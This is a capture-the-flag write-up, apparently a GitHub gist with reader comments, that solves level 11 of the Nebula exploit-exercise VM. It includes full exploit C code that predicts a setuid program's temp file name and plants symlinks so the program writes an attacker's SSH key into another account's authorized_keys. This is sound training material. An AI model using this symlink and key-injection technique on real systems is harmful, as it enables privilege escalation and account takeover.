Skip to content

Instantly share code, notes, and snippets.

@graugans
Created December 23, 2016 14:41
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save graugans/88e6f54c862faec8b3d4bf5789ef0dd9 to your computer and use it in GitHub Desktop.
Save graugans/88e6f54c862faec8b3d4bf5789ef0dd9 to your computer and use it in GitHub Desktop.

How I solved Nebula Level 11

The last few days I solved the first levels of Nebula. Nebula is an exploit exercise which consists of twenty levels. The level zero to eight where no real trouble. The level09 drove me crazy. I never wrote serious php code so I was not able to solve the string injection without cheating. For [level10] I gave up a bit too early as-well, after the first hint about TOCTOU (time-of-use to time-of-check) made me solve this with two simple bash scripts.

For the Level 11 flag cheating was no option for me. This walk through describes how I did solve this exercise. The description of this exercise states the following:

The /home/flag11/flag11 binary processes standard input and executes a shell command.  There are two ways of completing this level, you may wish to do both :-) To do this level, log in as the level11 account with the password level11. Files for this level can be found in /home/flag11.

Okay business as usual the needed files are located under /home/flag11 let's take a look

level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11   100 2016-12-20 15:11 .
drwxr-xr-x 1 root   root      140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11     14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11    220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11   3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11     60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11    675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11     60 2016-12-20 15:07 .ssh

This little .ssh folder raises some kind of alarm signal in my brain. Maybe we need this later on. As you can see some of the files had been recently accessed. This was due to my attack.

The attached C code of the exercise is the following:#

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

After analyzing this code Return a random, non predictable file, and return the file descriptor for it.. When someone states non predictable I try to predict. This needs to be deferred a bit because the rest of the code needs inspections. Just some remarks, on old Linux systems pid of an process is pretty predictable. Of course srandom() seeded with time is predictable too.

Okay, there is some XOR encryption scheme used to decipher the buffer in process and this deciphered buffer is handed to system. Okay we need to inject some attacking calls here. From the inspection of the files we knew this is yet another setuid bit challenge, okay this is getting lame I thought. Frankly I was a bit too optimistic.

In the main function the processing buffer is filled from stdinand checked against some hard coded prefix nothing magic here.

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  // ...
  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      
  //...
}

The err functions will exit the executable when they are hit. To bypass the following check if(fread(buf, length, 1, stdin) != length) {, the length passed to this executable needs to be one. In this case the injected code is very limited. Tests with overflowing atoi and negative numbers always failed. Because fread returns the number of items read and not the number of bytes, in this case it always returns one. Form the other exercises we knew we can pretend the PATH variable with a path we have under control. So just we just need to inject a single character into the magic process() function. The reverse of the XOR is pretty straight forward. You may need some tries to execute your command, this is because the whole buffer is passed to system. The buffer is located on the stack of main and because of this it is filled with garbage. But the chances that we hit a zero in the second character is not too bad. I already felt my success but then I got this:

getflag is executing on a non-flag account, this doesn't count  

This time it was not me cheating, but the authors of Nebula the provided source code did not mention that they removed the setuid bit before the call to system. This was exposed by the strace command.

getgid32()                              = 1012
setgid32(1012)                          = 0
getuid32()                              = 1012
setuid32(1012)                          = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180

Okay, this looks like a dead end. Back to the drawing board, the SSH idea popped up again. But how can we use the .ssh folder. This is pretty easy we have to inject a authorized_keys file there. But how can this be achieved without setuid?

  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
 
}

So far I completely ignored the else case of the buffer length check. This is where the super top secret temp file name comes into the game. To get control over the file we have to define the environment variable from the shell we run the attack later on:

export TEMP=/tmp

Now it is just a matter of guessing the PID of our victim. This is easy, when we pipe the stdout to the stdin of the victim the chances are high it is just plus one of our own. Otherwise popen() could be used and injecting pid from ps | grep flag11. The time part is super easy because it is the time in seconds. To get a stable successrate we also use the filename for the next second. The whole attacker code lookks like this:

int getrand(char **path, int pid, int time)
{
  char *tmp;
  int fd =  0;

  srandom(time);

  tmp = getenv("TEMP");
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));


  return fd;
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";

  int pid;
  int fd;
  char *path;
  FILE* stream;

  pid = getpid()+1;
  getrand(&path, pid, time(NULL));
  symlink("/home/flag11/.ssh/authorized_keys",path);
  getrand(&path, pid, time(NULL)+1);
  symlink("/home/flag11/.ssh/authorized_keys",path);
  fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}

The ssh key needs to be generated first. It took me some tries to fullfill those strange checks with the colors. Maybe one needs to check the format of the time() function to not run into overflow issues. At the moment it is not clear to me why it is not neccessary to crypt the buffer. Maybe some speciality of the mmap function. Anyway with the ssh key injected you can log into flag11 account and get your flag.

level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

flag11@nebula:~$ getflag    
You have successfully executed getflag on a target account
flag11@nebula:~$
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path, int pid, int time)
{
char *tmp;
int fd = 0;
srandom(time);
tmp = getenv("TEMP");
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i] ^ key;
}
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";
int pid;
int fd;
char *path;
FILE* stream;
//process(buf, sizeof(buf));
//if(NULL == (stream = popen("/home/flag11/flag11", "w"))) {
// errx(1, "popen");
//}
//printf("Get pid for attacked: \n");
//if(fgets(line, sizeof(line), stdin) == NULL) {
// errx(1, "reading from stdin");
//}
pid = getpid()+1;
//printf("PID: %d\n",pid);
getrand(&path, pid, time(NULL));
symlink("/home/flag11/.ssh/authorized_keys",path);
getrand(&path, pid, time(NULL)+1);
symlink("/home/flag11/.ssh/authorized_keys",path);
fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
//pclose(stream);
}
@sheinz
Copy link

sheinz commented Feb 3, 2017

Really cool trick with the links!
I think this's the only write-up that really solves this level.

@RayquazID
Copy link

Hey, really cool writeup
since i'm struggeling a few days with this level im trying to find a good writeup. I even tried to recompile the flag11 program, but they were prepared for this case so there is no way for me to solve this challenge.
now i see this SSH key injection for the first time around (noticed on stackexchange) and i guess it's the only way to see the "you have successfully executed getflag blabla" on the screen.
I got root on my new compiled version but thats not really setisfying.
so for now i guess i didn't really understood your writeup cause when i execute your pwn11.c and try to connect to the ssh i get a password promt for the flag11 account which seems to say that the injection didn't work

is there any step im missing?

@einai
Copy link

einai commented Jul 13, 2017

What a good writeup!!
Thank you so much. I totally agreed with sheinz.

@xuyong0528
Copy link

echo -e "/tmp/level11.key" | ssh-keygen -t rsa -b 2048 -C "level11@nebula". Do not use a passphrase. Replace the array buf in the c-sourcefile with the whole content of /tmp/level11.key.pub.

@davidxia
Copy link

davidxia commented Nov 6, 2020

@RayquazID, as @xuyong0528 suggested, did you replace the example public key with your own SSH public key that you freshly created? Then ssh flag11@[nebula-IP] while using the corresponding SSH private key.

@davidxia
Copy link

davidxia commented Nov 6, 2020

@graugans, thanks for this explanation. Two questions.

At the moment it is not clear to me why it is not neccessary to crypt the buffer. Maybe some speciality of the mmap function.

Is the mmap() and process() logic from line 95 - 99 of the source code [1] irrelevant? It seems like all we need to do is write the public SSH key to the symlink in /tmp which will write to /home/flag11/.ssh/authorized_keys? If so, then the write() on line 90 is all that we care about, and since there's no call to process() here, there's no encryption necessary.

  1. Another question I have is how it's possible the setuid was removed for the call to system() but not the call to write(). I thought the setgid32(1012) and setuid32(1012) commands in the strace output would affect every system call?

1: https://exploit-exercises.lains.space/nebula/level11/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment